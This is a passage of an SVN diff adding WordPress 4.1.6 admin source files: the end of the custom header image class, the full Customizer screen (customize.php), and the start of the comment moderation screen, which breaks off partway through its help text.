+		if ( ! current_theme_supports( 'custom-header', 'uploads' ) )
+			wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+		if ( ! empty( $_POST['skip-cropping'] ) && ! ( current_theme_supports( 'custom-header', 'flex-height' ) || current_theme_supports( 'custom-header', 'flex-width' ) ) )
+			wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+		if ( $_POST['oitar'] > 1 ) {
+			$_POST['x1'] = $_POST['x1'] * $_POST['oitar'];
+			$_POST['y1'] = $_POST['y1'] * $_POST['oitar'];
+			$_POST['width'] = $_POST['width'] * $_POST['oitar'];
+			$_POST['height'] = $_POST['height'] * $_POST['oitar'];
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		$original = get_attached_file($attachment_id);
+
+		$dimensions = $this->get_header_dimensions( array(
+			'height' => $_POST['height'],
+			'width'  => $_POST['width'],
+		) );
+		$height = $dimensions['dst_height'];
+		$width = $dimensions['dst_width'];
+
+		if ( empty( $_POST['skip-cropping'] ) )
+			$cropped = wp_crop_image( $attachment_id, (int) $_POST['x1'], (int) $_POST['y1'], (int) $_POST['width'], (int) $_POST['height'], $width, $height );
+		elseif ( ! empty( $_POST['create-new-attachment'] ) )
+			$cropped = _copy_image_file( $attachment_id );
+		else
+			$cropped = get_attached_file( $attachment_id );
+
+		if ( ! $cropped || is_wp_error( $cropped ) )
+			wp_die( __( 'Image could not be processed. Please go back and try again.' ), __( 'Image Processing Error' ) );
+
+		/** This filter is documented in wp-admin/custom-header.php */
+		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication
+
+		$object = $this->create_attachment_object( $cropped, $attachment_id );
+
+		if ( ! empty( $_POST['create-new-attachment'] ) )
+			unset( $object['ID'] );
+
+		// Update the attachment
+		$attachment_id = $this->insert_attachment( $object, $cropped );
+
+		$url = $object['guid'];
+		$this->set_header_image( compact( 'url', 'attachment_id', 'width', 'height' ) );
+
+		// Cleanup.
+		$medium = str_replace( basename( $original ), 'midsize-' . basename( $original ), $original );
+		if ( file_exists( $medium ) ) {
+			/**
+			 * Filter the path of the file to delete.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string $medium Path to the file to delete.
+			 */
+			@unlink( apply_filters( 'wp_delete_file', $medium ) );
+		}
+
+		if ( empty( $_POST['create-new-attachment'] ) && empty( $_POST['skip-cropping'] ) ) {
+			/** This filter is documented in wp-admin/custom-header.php */
+			@unlink( apply_filters( 'wp_delete_file', $original ) );
+		}
+
+		return $this->finished();
+	}
+
+	/**
+	 * Display last step of custom header image page.
+	 *
+	 * @since 2.1.0
+	 */
+	public function finished() {
+		$this->updated = true;
+		$this->step_1();
+	}
+
+	/**
+	 * Display the page based on the current step.
+	 *
+	 * @since 2.1.0
+	 */
+	public function admin_page() {
+		if ( ! current_user_can('edit_theme_options') )
+			wp_die(__('You do not have permission to customize headers.'));
+		$step = $this->step();
+		if ( 2 == $step )
+			$this->step_2();
+		elseif ( 3 == $step )
+			$this->step_3();
+		else
+			$this->step_1();
+	}
+
+	/**
+	 * Unused since 3.5.0.
+	 *
+	 * @since 3.4.0
+	 */
+	public function attachment_fields_to_edit( $form_fields ) {
+		return $form_fields;
+	}
+
+	/**
+	 * Unused since 3.5.0.
+	 *
+	 * @since 3.4.0
+	 */
+	public function filter_upload_tabs( $tabs ) {
+		return $tabs;
+	}
+
+	/**
+	 * Choose a header image, selected from existing uploaded and default headers,
+	 * or provide an array of uploaded header data (either new, or from media library).
+	 *
+	 * @param mixed $choice Which header image to select. Allows for values of 'random-default-image',
+	 * 	for randomly cycling among the default images; 'random-uploaded-image', for randomly cycling
+	 * 	among the uploaded images; the key of a default image registered for that theme; and
+	 * 	the key of an image uploaded for that theme (the basename of the URL).
+	 *  Or an array of arguments: attachment_id, url, width, height. All are required.
+	 *
+	 * @since 3.4.0
+	 */
+	final public function set_header_image( $choice ) {
+		if ( is_array( $choice ) || is_object( $choice ) ) {
+			$choice = (array) $choice;
+			if ( ! isset( $choice['attachment_id'] ) || ! isset( $choice['url'] ) )
+				return;
+
+			$choice['url'] = esc_url_raw( $choice['url'] );
+
+			$header_image_data = (object) array(
+				'attachment_id' => $choice['attachment_id'],
+				'url'           => $choice['url'],
+				'thumbnail_url' => $choice['url'],
+				'height'        => $choice['height'],
+				'width'         => $choice['width'],
+			);
+
+			update_post_meta( $choice['attachment_id'], '_wp_attachment_is_custom_header', get_stylesheet() );
+			set_theme_mod( 'header_image', $choice['url'] );
+			set_theme_mod( 'header_image_data', $header_image_data );
+			return;
+		}
+
+		if ( in_array( $choice, array( 'remove-header', 'random-default-image', 'random-uploaded-image' ) ) ) {
+			set_theme_mod( 'header_image', $choice );
+			remove_theme_mod( 'header_image_data' );
+			return;
+		}
+
+		$uploaded = get_uploaded_header_images();
+		if ( $uploaded && isset( $uploaded[ $choice ] ) ) {
+			$header_image_data = $uploaded[ $choice ];
+
+		} else {
+			$this->process_default_headers();
+			if ( isset( $this->default_headers[ $choice ] ) )
+				$header_image_data = $this->default_headers[ $choice ];
+			else
+				return;
+		}
+
+		set_theme_mod( 'header_image', esc_url_raw( $header_image_data['url'] ) );
+		set_theme_mod( 'header_image_data', $header_image_data );
+	}
+
+	/**
+	 * Remove a header image.
+	 *
+	 * @since 3.4.0
+	 */
+	final public function remove_header_image() {
+		return $this->set_header_image( 'remove-header' );
+	}
+
+	/**
+	 * Reset a header image to the default image for the theme.
+	 *
+	 * This method does not do anything if the theme does not have a default header image.
+	 *
+	 * @since 3.4.0
+	 */
+	final public function reset_header_image() {
+		$this->process_default_headers();
+		$default = get_theme_support( 'custom-header', 'default-image' );
+
+		if ( ! $default )
+			return $this->remove_header_image();
+
+		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
+
+		$default_data = array();
+		foreach ( $this->default_headers as $header => $details ) {
+			if ( $details['url'] == $default ) {
+				$default_data = $details;
+				break;
+			}
+		}
+
+		set_theme_mod( 'header_image', $default );
+		set_theme_mod( 'header_image_data', (object) $default_data );
+	}
+
+	/**
+	 * Calculate width and height based on what the currently selected theme supports.
+	 *
+	 * @return array dst_height and dst_width of header image.
+	 */
+	final public function get_header_dimensions( $dimensions ) {
+		$max_width = 0;
+		$width = absint( $dimensions['width'] );
+		$height = absint( $dimensions['height'] );
+		$theme_height = get_theme_support( 'custom-header', 'height' );
+		$theme_width = get_theme_support( 'custom-header', 'width' );
+		$has_flex_width = current_theme_supports( 'custom-header', 'flex-width' );
+		$has_flex_height = current_theme_supports( 'custom-header', 'flex-height' );
+		$has_max_width = current_theme_supports( 'custom-header', 'max-width' ) ;
+		$dst = array( 'dst_height' => null, 'dst_width' => null );
+
+		// For flex, limit size of image displayed to 1500px unless theme says otherwise
+		if ( $has_flex_width ) {
+			$max_width = 1500;
+		}
+
+		if ( $has_max_width ) {
+			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
+		}
+		$max_width = max( $max_width, $theme_width );
+
+		if ( $has_flex_height && ( ! $has_flex_width || $width > $max_width ) ) {
+			$dst['dst_height'] = absint( $height * ( $max_width / $width ) );
+		}
+		elseif ( $has_flex_height && $has_flex_width ) {
+			$dst['dst_height'] = $height;
+		}
+		else {
+			$dst['dst_height'] = $theme_height;
+		}
+
+		if ( $has_flex_width && ( ! $has_flex_height || $width > $max_width ) ) {
+			$dst['dst_width'] = absint( $width * ( $max_width / $width ) );
+		}
+		elseif ( $has_flex_width && $has_flex_height ) {
+			$dst['dst_width'] = $width;
+		}
+		else {
+			$dst['dst_width'] = $theme_width;
+		}
+
+		return $dst;
+	}
+
+	/**
+	 * Create an attachment 'object'.
+	 *
+	 * @param string $cropped Cropped image URL.
+	 * @param int $parent_attachment_id Attachment ID of parent image.
+	 *
+	 * @return array Attachment object.
+	 */
+	final public function create_attachment_object( $cropped, $parent_attachment_id ) {
+		$parent = get_post( $parent_attachment_id );
+		$parent_url = $parent->guid;
+		$url = str_replace( basename( $parent_url ), basename( $cropped ), $parent_url );
+
+		$size = @getimagesize( $cropped );
+		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';
+
+		$object = array(
+			'ID' => $parent_attachment_id,
+			'post_title' => basename($cropped),
+			'post_content' => $url,
+			'post_mime_type' => $image_type,
+			'guid' => $url,
+			'context' => 'custom-header'
+		);
+
+		return $object;
+	}
+
+	/**
+	 * Insert an attachment and its metadata.
+	 *
+	 * @param array $object Attachment object.
+	 * @param string $cropped Cropped image URL.
+	 *
+	 * @return int Attachment ID.
+	 */
+	final public function insert_attachment( $object, $cropped ) {
+		$attachment_id = wp_insert_attachment( $object, $cropped );
+		$metadata = wp_generate_attachment_metadata( $attachment_id, $cropped );
+		/**
+		 * Filter the header image attachment metadata.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @see wp_generate_attachment_metadata()
+		 *
+		 * @param array $metadata Attachment metadata.
+		 */
+		$metadata = apply_filters( 'wp_header_image_attachment_metadata', $metadata );
+		wp_update_attachment_metadata( $attachment_id, $metadata );
+		return $attachment_id;
+	}
+
+	/**
+	 * Gets attachment uploaded by Media Manager, crops it, then saves it as a
+	 * new object. Returns JSON-encoded object details.
+	 */
+	public function ajax_header_crop() {
+		check_ajax_referer( 'image_editor-' . $_POST['id'], 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
+			wp_send_json_error();
+		}
+
+		$crop_details = $_POST['cropDetails'];
+
+		$dimensions = $this->get_header_dimensions( array(
+			'height' => $crop_details['height'],
+			'width'  => $crop_details['width'],
+		) );
+
+		$attachment_id = absint( $_POST['id'] );
+
+		$cropped = wp_crop_image(
+			$attachment_id,
+			(int) $crop_details['x1'],
+			(int) $crop_details['y1'],
+			(int) $crop_details['width'],
+			(int) $crop_details['height'],
+			(int) $dimensions['dst_width'],
+			(int) $dimensions['dst_height']
+		);
+
+		if ( ! $cropped || is_wp_error( $cropped ) ) {
+			wp_send_json_error( array( 'message' => __( 'Image could not be processed. Please go back and try again.' ) ) );
+		}
+
+		/** This filter is documented in wp-admin/custom-header.php */
+		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication
+
+		$object = $this->create_attachment_object( $cropped, $attachment_id );
+
+		unset( $object['ID'] );
+
+		$new_attachment_id = $this->insert_attachment( $object, $cropped );
+
+		$object['attachment_id'] = $new_attachment_id;
+		$object['width']         = $dimensions['dst_width'];
+		$object['height']        = $dimensions['dst_height'];
+
+		wp_send_json_success( $object );
+	}
+
+	/**
+	 * Given an attachment ID for a header image, updates its "last used"
+	 * timestamp to now.
+	 *
+	 * Triggered when the user tries adds a new header image from the
+	 * Media Manager, even if s/he doesn't save that change.
+	 */
+	public function ajax_header_add() {
+		check_ajax_referer( 'header-add', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		if ( $attachment_id < 1 ) {
+			wp_send_json_error();
+		}
+
+		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		update_post_meta( $attachment_id, $key, time() );
+		update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
+
+		wp_send_json_success();
+	}
+
+	/**
+	 * Given an attachment ID for a header image, unsets it as a user-uploaded
+	 * header image for the current theme.
+	 *
+	 * Triggered when the user clicks the overlay "X" button next to each image
+	 * choice in the Customizer's Header tool.
+	 */
+	public function ajax_header_remove() {
+		check_ajax_referer( 'header-remove', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		if ( $attachment_id < 1 ) {
+			wp_send_json_error();
+		}
+
+		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		delete_post_meta( $attachment_id, $key );
+		delete_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
+
+		wp_send_json_success();
+	}
+
+	public function customize_set_last_used( $wp_customize ) {
+		$data = $wp_customize->get_setting( 'header_image_data' )->post_value();
+
+		if ( ! isset( $data['attachment_id'] ) ) {
+			return;
+		}
+
+		$attachment_id = $data['attachment_id'];
+		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		update_post_meta( $attachment_id, $key, time() );
+	}
+
+	public function get_default_header_images() {
+		$this->process_default_headers();
+
+		// Get the default image if there is one.
+		$default = get_theme_support( 'custom-header', 'default-image' );
+
+		if ( ! $default ) { // If not,
+			return $this->default_headers; // easy peasy.
+		}
+
+		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
+		$already_has_default = false;
+
+		foreach ( $this->default_headers as $k => $h ) {
+			if ( $h['url'] === $default ) {
+				$already_has_default = true;
+				break;
+			}
+		}
+
+		if ( $already_has_default ) {
+			return $this->default_headers;
+		}
+
+		// If the one true image isn't included in the default set, prepend it.
+		$header_images = array();
+		$header_images['default'] = array(
+			'url'           => $default,
+			'thumbnail_url' => $default,
+			'description'   => 'Default'
+		);
+
+		// The rest of the set comes after.
+		$header_images = array_merge( $header_images, $this->default_headers );
+		return $header_images;
+	}
+
+	public function get_uploaded_header_images() {
+		$header_images = get_uploaded_header_images();
+		$timestamp_key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		$alt_text_key = '_wp_attachment_image_alt';
+
+		foreach ( $header_images as &$header_image ) {
+			$header_meta = get_post_meta( $header_image['attachment_id'] );
+			$header_image['timestamp'] = isset( $header_meta[ $timestamp_key ] ) ? $header_meta[ $timestamp_key ] : '';
+			$header_image['alt_text'] = isset( $header_meta[ $alt_text_key ] ) ? $header_meta[ $alt_text_key ] : '';
+		}
+
+		return $header_images;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/customize.php
===================================================================
--- /tags/4.1.6/src/wp-admin/customize.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/customize.php	(revision 33402)
@@ -0,0 +1,313 @@
+<?php
+/**
+ * Theme Customize Screen.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+
+define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'customize' ) ) {
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+}
+
+wp_reset_vars( array( 'url', 'return' ) );
+$url = wp_unslash( $url );
+$url = wp_validate_redirect( $url, home_url( '/' ) );
+if ( $return ) {
+	$return = wp_unslash( $return );
+	$return = wp_validate_redirect( $return );
+}
+if ( ! $return ) {
+	if ( $url ) {
+		$return = $url;
+	} elseif ( current_user_can( 'edit_theme_options' ) || current_user_can( 'switch_themes' ) ) {
+		$return = admin_url( 'themes.php' );
+	} else {
+		$return = admin_url();
+	}
+}
+
+global $wp_scripts, $wp_customize;
+
+$registered = $wp_scripts->registered;
+$wp_scripts = new WP_Scripts;
+$wp_scripts->registered = $registered;
+
+add_action( 'customize_controls_print_scripts',        'print_head_scripts', 20 );
+add_action( 'customize_controls_print_footer_scripts', '_wp_footer_scripts'     );
+add_action( 'customize_controls_print_styles',         'print_admin_styles', 20 );
+
+/**
+ * Fires when Customizer controls are initialized, before scripts are enqueued.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_init' );
+
+wp_enqueue_script( 'customize-controls' );
+wp_enqueue_style( 'customize-controls' );
+
+/**
+ * Enqueue Customizer control scripts.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_enqueue_scripts' );
+
+// Let's roll.
+@header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+wp_user_settings();
+_wp_admin_html_begin();
+
+$body_class = 'wp-core-ui wp-customizer js';
+
+if ( wp_is_mobile() ) :
+	$body_class .= ' mobile';
+
+	?><meta name="viewport" id="viewport-meta" content="width=device-width, initial-scale=0.8, minimum-scale=0.5, maximum-scale=1.2" /><?php
+endif;
+
+$is_ios = wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] );
+
+if ( $is_ios ) {
+	$body_class .= ' ios';
+}
+
+if ( is_rtl() ) {
+	$body_class .= ' rtl';
+}
+$body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
+
+if ( $wp_customize->is_theme_active() ) {
+	$document_title_tmpl = _x( 'Customize: %s', 'Placeholder is the document title from the preview' );
+} else {
+	$document_title_tmpl = _x( 'Live Preview: %s', 'Placeholder is the document title from the preview' );
+}
+$document_title_tmpl = html_entity_decode( $document_title_tmpl, ENT_QUOTES, 'UTF-8' ); // because exported to JS and assigned to document.title
+$admin_title = sprintf( $document_title_tmpl, __( 'Loading&hellip;' ) );
+
+?><title><?php echo $admin_title; ?></title>
+
+<script type="text/javascript">
+var ajaxurl = '<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>';
+</script>
+
+<?php
+/**
+ * Fires when Customizer control styles are printed.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_print_styles' );
+
+/**
+ * Fires when Customizer control scripts are printed.
+ *
+ * @since 3.4.0
+ */
+do_action( 'customize_controls_print_scripts' );
+?>
+</head>
+<body class="<?php echo esc_attr( $body_class ); ?>">
+<div class="wp-full-overlay expanded">
+	<form id="customize-controls" class="wrap wp-full-overlay-sidebar">
+		<div id="screen-reader-messages" aria-live="polite" aria-relevant="all" aria-role="status" aria-atomic="true" class="screen-reader-text"></div>
+
+		<div id="customize-header-actions" class="wp-full-overlay-header">
+			<?php
+				$save_text = $wp_customize->is_theme_active() ? __( 'Save &amp; Publish' ) : __( 'Save &amp; Activate' );
+				submit_button( $save_text, 'primary save', 'save', false );
+			?>
+			<span class="spinner"></span>
+			<a class="customize-controls-close" href="<?php echo esc_url( $return ); ?>">
+				<span class="screen-reader-text"><?php _e( 'Cancel' ); ?></span>
+			</a>
+			<span class="control-panel-back" tabindex="-1"><span class="screen-reader-text"><?php _e( 'Back' ); ?></span></span>
+		</div>
+
+		<?php
+			$screenshot = $wp_customize->theme()->get_screenshot();
+			$cannot_expand = ! ( $wp_customize->is_theme_active() || $screenshot || $wp_customize->theme()->get('Description') );
+		?>
+
+		<div id="widgets-right"><!-- For Widget Customizer, many widgets try to look for instances under div#widgets-right, so we have to add that ID to a container div in the Customizer for compat -->
+		<div class="wp-full-overlay-sidebar-content" tabindex="-1">
+			<div id="customize-info" class="accordion-section <?php if ( $cannot_expand ) echo ' cannot-expand'; ?>">
+				<div class="accordion-section-title" aria-label="<?php esc_attr_e( 'Customizer Options' ); ?>" tabindex="0">
+					<span class="preview-notice"><?php
+						if ( ! $wp_customize->is_theme_active() ) {
+							/* translators: %s is the theme name in the Customize/Live Preview pane */
+							echo sprintf( __( 'You are previewing %s' ), '<strong class="theme-name">' . $wp_customize->theme()->display('Name') . '</strong>' );
+						} else {
+							/* translators: %s is the site/panel title in the Customize pane */
+							echo sprintf( __( 'You are customizing %s' ), '<strong class="theme-name site-title">' . get_bloginfo( 'name' ) . '</strong>' );
+						}
+					?></span>
+				</div>
+				<?php if ( ! $cannot_expand ) : ?>
+				<div class="accordion-section-content">
+					<?php if ( ! $wp_customize->is_theme_active() ) :
+						if ( $screenshot ) : ?>
+							<img class="theme-screenshot" src="<?php echo esc_url( $screenshot ); ?>" />
+						<?php endif; ?>
+
+						<?php if ( $wp_customize->theme()->get('Description') ): ?>
+							<div class="theme-description"><?php echo $wp_customize->theme()->display('Description'); ?></div>
+						<?php endif;
+					else:
+						echo __( 'The Customizer allows you to preview changes to your site before publishing them. You can also navigate to different pages on your site to preview them.' );
+					endif; ?>
+				</div>
+				<?php endif; ?>
+			</div>
+
+			<div id="customize-theme-controls">
+				<ul><?php // Panels and sections are managed here via JavaScript ?></ul>
+			</div>
+		</div>
+		</div>
+
+		<div id="customize-footer-actions" class="wp-full-overlay-footer">
+			<a href="#" class="collapse-sidebar button-secondary" title="<?php esc_attr_e('Collapse Sidebar'); ?>">
+				<span class="collapse-sidebar-arrow"></span>
+				<span class="collapse-sidebar-label"><?php _e('Collapse'); ?></span>
+			</a>
+		</div>
+	</form>
+	<div id="customize-preview" class="wp-full-overlay-main"></div>
+	<?php
+
+	// Render control templates.
+	$wp_customize->render_control_templates();
+
+	/**
+	 * Print Customizer control scripts in the footer.
+	 *
+	 * @since 3.4.0
+	 */
+	do_action( 'customize_controls_print_footer_scripts' );
+
+	/*
+	 * If the frontend and the admin are served from the same domain, load the
+	 * preview over ssl if the Customizer is being loaded over ssl. This avoids
+	 * insecure content warnings. This is not attempted if the admin and frontend
+	 * are on different domains to avoid the case where the frontend doesn't have
+	 * ssl certs. Domain mapping plugins can allow other urls in these conditions
+	 * using the customize_allowed_urls filter.
+	 */
+
+	$allowed_urls = array( home_url('/') );
+	$admin_origin = parse_url( admin_url() );
+	$home_origin  = parse_url( home_url() );
+	$cross_domain = ( strtolower( $admin_origin[ 'host' ] ) != strtolower( $home_origin[ 'host' ] ) );
+
+	if ( is_ssl() && ! $cross_domain )
+		$allowed_urls[] = home_url( '/', 'https' );
+
+	/**
+	 * Filter the list of URLs allowed to be clicked and followed in the Customizer preview.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $allowed_urls An array of allowed URLs.
+	 */
+	$allowed_urls = array_unique( apply_filters( 'customize_allowed_urls', $allowed_urls ) );
+
+	$fallback_url = add_query_arg( array(
+		'preview'        => 1,
+		'template'       => $wp_customize->get_template(),
+		'stylesheet'     => $wp_customize->get_stylesheet(),
+		'preview_iframe' => true,
+		'TB_iframe'      => 'true'
+	), home_url( '/' ) );
+
+	$login_url = add_query_arg( array(
+		'interim-login' => 1,
+		'customize-login' => 1
+	), wp_login_url() );
+
+	// Prepare Customizer settings to pass to JavaScript.
+	$settings = array(
+		'theme'    => array(
+			'stylesheet' => $wp_customize->get_stylesheet(),
+			'active'     => $wp_customize->is_theme_active(),
+		),
+		'url'      => array(
+			'preview'       => esc_url_raw( $url ? $url : home_url( '/' ) ),
+			'parent'        => esc_url_raw( admin_url() ),
+			'activated'     => esc_url_raw( admin_url( 'themes.php?activated=true&previewed' ) ),
+			'ajax'          => esc_url_raw( admin_url( 'admin-ajax.php', 'relative' ) ),
+			'allowed'       => array_map( 'esc_url_raw', $allowed_urls ),
+			'isCrossDomain' => $cross_domain,
+			'fallback'      => esc_url_raw( $fallback_url ),
+			'home'          => esc_url_raw( home_url( '/' ) ),
+			'login'         => esc_url_raw( $login_url ),
+		),
+		'browser'  => array(
+			'mobile' => wp_is_mobile(),
+			'ios'    => $is_ios,
+		),
+		'settings' => array(),
+		'controls' => array(),
+		'panels'   => array(),
+		'sections' => array(),
+		'nonce'    => array(
+			'save'    => wp_create_nonce( 'save-customize_' . $wp_customize->get_stylesheet() ),
+			'preview' => wp_create_nonce( 'preview-customize_' . $wp_customize->get_stylesheet() )
+		),
+		'autofocus' => array(),
+		'documentTitleTmpl' => $document_title_tmpl,
+	);
+
+	// Prepare Customize Setting objects to pass to JavaScript.
+	foreach ( $wp_customize->settings() as $id => $setting ) {
+		$settings['settings'][ $id ] = array(
+			'value'     => $setting->js_value(),
+			'transport' => $setting->transport,
+		);
+	}
+
+	// Prepare Customize Control objects to pass to JavaScript.
+	foreach ( $wp_customize->controls() as $id => $control ) {
+		$settings['controls'][ $id ] = $control->json();
+	}
+
+	// Prepare Customize Section objects to pass to JavaScript.
+	foreach ( $wp_customize->sections() as $id => $section ) {
+		$settings['sections'][ $id ] = $section->json();
+	}
+
+	// Prepare Customize Panel objects to pass to JavaScript.
+	foreach ( $wp_customize->panels() as $id => $panel ) {
+		$settings['panels'][ $id ] = $panel->json();
+		foreach ( $panel->sections as $section_id => $section ) {
+			$settings['sections'][ $section_id ] = $section->json();
+		}
+	}
+
+	// Pass to frontend the Customizer construct being deeplinked
+	if ( isset( $_GET['autofocus'] ) ) {
+		$autofocus = wp_unslash( $_GET['autofocus'] );
+		if ( is_array( $autofocus ) ) {
+			foreach ( $autofocus as $type => $id ) {
+				if ( isset( $settings[ $type . 's' ][ $id ] ) ) {
+					$settings['autofocus'][ $type ] = $id;
+				}
+			}
+		}
+	}
+
+	?>
+	<script type="text/javascript">
+		var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>;
+	</script>
+</div>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-admin/edit-comments.php
===================================================================
--- /tags/4.1.6/src/wp-admin/edit-comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/edit-comments.php	(revision 33402)
@@ -0,0 +1,254 @@
+<?php
+/**
+ * Edit Comments Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+if ( !current_user_can('edit_posts') )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+$wp_list_table = _get_list_table('WP_Comments_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction ) {
+	check_admin_referer( 'bulk-comments' );
+
+	if ( 'delete_all' == $doaction && !empty( $_REQUEST['pagegen_timestamp'] ) ) {
+		$comment_status = wp_unslash( $_REQUEST['comment_status'] );
+		$delete_time = wp_unslash( $_REQUEST['pagegen_timestamp'] );
+		$comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_approved = %s AND %s > comment_date_gmt", $comment_status, $delete_time ) );
+		$doaction = 'delete';
+	} elseif ( isset( $_REQUEST['delete_comments'] ) ) {
+		$comment_ids = $_REQUEST['delete_comments'];
+		$doaction = ( $_REQUEST['action'] != -1 ) ? $_REQUEST['action'] : $_REQUEST['action2'];
+	} elseif ( isset( $_REQUEST['ids'] ) ) {
+		$comment_ids = array_map( 'absint', explode( ',', $_REQUEST['ids'] ) );
+	} elseif ( wp_get_referer() ) {
+		wp_safe_redirect( wp_get_referer() );
+		exit;
+	}
+
+	$approved = $unapproved = $spammed = $unspammed = $trashed = $untrashed = $deleted = 0;
+
+	$redirect_to = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'spammed', 'unspammed', 'approved', 'unapproved', 'ids' ), wp_get_referer() );
+	$redirect_to = add_query_arg( 'paged', $pagenum, $redirect_to );
+
+	foreach ( $comment_ids as $comment_id ) { // Check the permissions on each
+		if ( !current_user_can( 'edit_comment', $comment_id ) )
+			continue;
+
+		switch ( $doaction ) {
+			case 'approve' :
+				wp_set_comment_status( $comment_id, 'approve' );
+				$approved++;
+				break;
+			case 'unapprove' :
+				wp_set_comment_status( $comment_id, 'hold' );
+				$unapproved++;
+				break;
+			case 'spam' :
+				wp_spam_comment( $comment_id );
+				$spammed++;
+				break;
+			case 'unspam' :
+				wp_unspam_comment( $comment_id );
+				$unspammed++;
+				break;
+			case 'trash' :
+				wp_trash_comment( $comment_id );
+				$trashed++;
+				break;
+			case 'untrash' :
+				wp_untrash_comment( $comment_id );
+				$untrashed++;
+				break;
+			case 'delete' :
+				wp_delete_comment( $comment_id );
+				$deleted++;
+				break;
+		}
+	}
+
+	if ( $approved )
+		$redirect_to = add_query_arg( 'approved', $approved, $redirect_to );
+	if ( $unapproved )
+		$redirect_to = add_query_arg( 'unapproved', $unapproved, $redirect_to );
+	if ( $spammed )
+		$redirect_to = add_query_arg( 'spammed', $spammed, $redirect_to );
+	if ( $unspammed )
+		$redirect_to = add_query_arg( 'unspammed', $unspammed, $redirect_to );
+	if ( $trashed )
+		$redirect_to = add_query_arg( 'trashed', $trashed, $redirect_to );
+	if ( $untrashed )
+		$redirect_to = add_query_arg( 'untrashed', $untrashed, $redirect_to );
+	if ( $deleted )
+		$redirect_to = add_query_arg( 'deleted', $deleted, $redirect_to );
+	if ( $trashed || $spammed )
+		$redirect_to = add_query_arg( 'ids', join( ',', $comment_ids ), $redirect_to );
+
+	wp_safe_redirect( $redirect_to );
+	exit;
+} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
+	 wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+wp_enqueue_script('admin-comments');
+enqueue_comment_hotkeys_js();
+
+if ( $post_id )
+	$title = sprintf( __( 'Comments on &#8220;%s&#8221;' ), wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '&hellip;' ) );
+else
+	$title = __('Comments');
+
+add_screen_option( 'per_page', array('label' => _x( 'Comments', 'comments per page (screen options)' )) );
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __( 'You can manage comments made on your site similar to the way you manage posts and other content. This screen is customizable in the same ways as other management screens, and you can act on comments using the on-hover action links or the Bulk Actions.' ) . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'moderating-comments',
+'title'		=> __('Moderating Comments'),
+'content'	=>
+		'<p>' . __( 'A red bar on the left means the comment is waiting for you to moderate it.' ) . '</p>' .
+		'<p>' . __( 'In the <strong>Author</strong> column, in addition to the author&#8217;s name, email address, and blog URL, the commenter&#8217;s IP address is shown. Clicking on this link will show you all the comments made from this IP address.' ) . '</p>' .
+		'<p>' . __( 'In the <strong>Comment</strong> column, above each comment it says &#8220;Submitted on,&#8221; followed by the date and time the comment was left on your site. Clicking on the date/time link will take you to that comment on your live site. Hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment.' ) . '</p>' .
